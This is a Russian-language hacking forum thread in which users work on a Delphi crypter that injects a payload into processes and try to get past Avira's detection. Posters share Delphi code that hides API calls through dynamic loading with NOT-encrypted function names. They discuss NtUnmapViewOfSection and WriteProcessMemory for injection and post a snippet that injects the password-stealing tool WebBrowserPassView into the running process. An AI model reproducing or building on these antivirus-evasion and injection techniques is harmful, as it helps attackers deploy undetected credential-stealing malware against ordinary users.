Дата: Понедельник, 30.12.2013, 12:36 | Сообщение # 27
Участник
Зарегистрирован: 08.05.2013
Группа: Пользователи
Сообщений: 66
Статус: Offline
ЦитатаAnton93 ()
возможно делфи паленая)
Хм вроде на форуме где-то был пост о том что антивири кричали на пустое консольное приложение.
Возможно они действительно так на какой-то кусок ассемблерного кода вкомпилированного в exe дельфийским компилем так реагируют Главное - не изобретать велосипед
Дата: Понедельник, 30.12.2013, 15:54 | Сообщение # 28
Постоянный
Зарегистрирован: 15.11.2013
Группа: Пользователи
Сообщений: 135
Статус: Offline
ЦитатаHargen ()
Хм вроде на форуме где-то был пост о том что антивири кричали на пустое консольное приложение.
Возможно они действительно так на какой-то кусок ассемблерного кода вкомпилированного в exe дельфийским компилем так реагируют
Как Антон уже сказал, что после того как он раскровырял свой файл,он был в шоке, ибо были левые вызовы левых .dll - думаю именно из за этого происходит левый детект
d4rkzy, интересно) авира мне про хиджекинг ни разу не писала)) наверное ты делаешь загрузку библиотеки как то необычно. такая реакция идет когда подменяешь библиотеку из которой идет импорт чтобы подгрузиться в чужое адресное пространство
Код
function NtUnmapViewOfSection(ProcessHandle:DWORD; BaseAddress:Pointer):DWORD; stdcall; external 'ntdll';
Ну вот так у меня стоит погрузка функции из длл.
Тоесть дедект идет из за вызова этой длл, решения два:
Не юзать длл (Юзать свой код на дельфи)
Или спрятать вызов длл.
Больше склоняюсь к первому конечно, ну интерестей сделать вызов длл:
Надумал два решения:
1) Вызывать хеш функции (Читал в какой то статье что можно вызывать функции из длл по хешу)
2) Еще думаю можно при старте программы погружать длл'ку в себя, и после вызывать функцию из своего ехе'шника (Не знаю поможет ли обойти авиру)
Anton93, Можешь словом помочь?)))
Добавлено (02.01.2014, 18:13)
---------------------------------------------
А вот теперь это меня уже серьезно пугает, убрал вызов .dll и сделал скан
Авира не перестала кричать, все так же
итал мельком. не использую данный метод.
я делаю через динамическую загрузку с шифрованием. если интересно - пиши, выложу код для примера. переделаешь под себя.
для справки: тот импорт что ты привел это статичная загрузка, это очень палевно.
function EnDeCrypt(const Value : String) : String;
var
CharIndex : integer;
begin
Result := Value;
for CharIndex := 1 to Length(Value) do
Result[CharIndex] := chr(not(ord(Value[CharIndex])));
end;
var
hUser32 : Cardinal;
xMessageBoxA : TMessageBoxA;
sMessageBoxA : PAnsiChar;
begin
sMessageBoxA := PAnsiChar(EnDeCrypt('²šŒŒž˜š½‡¾'));
hUser32 := LoadLibraryA('user32.dll');
@xMessageBoxA := GetProcAddress(hUser32, sMessageBoxA);
if Assigned(xMessageBoxA) then
xMessageBoxA(0, 'Hello World', '', 0);
end.
прочти мой предыдущий пост еще раз внимательно. может просто ты не заметил. делфи по дефолту еще грузит многое, что можно вручную отследить..
я про то, что функции другие которые ты вызываешь для работы, думаешь что описаны делфи, а они, по факту, как та, через external спрятаны в модулях, таких как windows например ICQ: 41896
Сообщение отредактировал Anton93 - Четверг, 02.01.2014, 19:45
Anton93, Вопросец, щас делаю запутку в функциях, ав не палят, гуд. Можно ли процесс этот ускорить, делаю запутку в главной функции (которая стартует все другие функции - на форме это oncreate, не знаю как в консольном обзываетя)))
Щас попробую тест сделать (А вдруг )
прочти мой предыдущий пост еще раз внимательно. может просто ты не заметил. делфи по дефолту еще грузит многое, что можно вручную отследить..
я про то, что функции другие которые ты вызываешь для работы, думаешь что описаны делфи, а они, по факту, как та, через external спрятаны в модулях, таких как windows например
Оу, точно, вылетело из головы, щас попробую
Добавлено (02.01.2014, 19:55)
---------------------------------------------
Ухты. Кликнул на первую, дало результат: function WriteProcessMemory; external kernel32 name 'WriteProcessMemory';
Тоесть теперь нужно написать функую которая будет вызызвать эту (например) функцию с шифрованием?)
Добавлено (02.01.2014, 21:41)
--------------------------------------------- Anton93, Уже не надо) разобрался - давольно таки легко, если способ работает с меня билдер шифрованых функций (сори ща ошибки =) )
Anton93,
до: http://chk4me.com/check/public/4n3RfbgHqNs_46276U9IVD7 (там уже одна функция зашифрована)
после: http://chk4me.com/check/public/5UOk8dR7eu6Wb7M2D
Когда шифровал вызовы, понял что нельзя шифровать потоки (Ибо софт не успеевает расширофвать)
Авира осталась - что делать?)
Добавлено (02.01.2014, 22:58)
--------------------------------------------- Anton93, Осталось совсем чуть чуть, авира теперь говоит
Contains recognition pattern of the DR/Delphi.Gen dropper
Те она не уверена)
теперь необходимо обфускацировать чтение exe файла из тела, который ты инжектишь
а точней?
Для теста у меня такой код был:
Function amnRFile(Ruta: string): string;
var
sFile: HFile;
Buff: string;
uBytes: Cardinal;
begin
sFile:= _lopen(PChar(Ruta), OF_READ);
uBytes:= GetFileSize(sFile, nil);
SetLength(Buff, uBytes);
_lread(sfile, @Buff[1], uBytes);
_lclose(sFile);
Result:= Buff;
end;
begin
a := amnrfile('WebBrowserPassView.exe');
inject(ParamStr(0), '', @a[1]);
end;
Добавлено (02.01.2014, 23:09)
--------------------------------------------- Anton93, Википедия помогла, теперь узнал что обсуфикаия это запутывание кода))
Подсказки будут по поводу запутки?))
Добавлено (02.01.2014, 23:28)
---------------------------------------------
новый скан - http://chk4me.com/check/public/qA8Z0_5wGBi59TfH76o7P8Qsy_63
стало только хуже